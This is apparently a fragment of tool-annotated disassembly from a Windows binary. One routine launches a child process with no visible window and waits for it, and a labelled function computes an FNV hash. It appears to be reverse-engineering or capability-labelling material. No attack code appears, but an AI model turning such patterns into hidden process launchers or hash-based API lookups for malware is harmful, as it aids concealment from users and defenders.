movlpd qword [ebp - 0x34], xmm0
cmp dword [edi + 0x14], 8
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movups xmmword [ebp - 0x60], xmm0
jb 0x40d1b3
mov eax, dword [edi]
lea ecx, [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x50]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x40d1f4
push 0xffffffffffffffff
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call fcn.0040d210
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00420573
mov esp, ebp
pop ebp
ret

Function at 0x40e620
Capabilities:
Hash data using fnv

Disassembly:
mov edx, ecx
jmp 0x40e630
movzx eax, byte [edx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
ret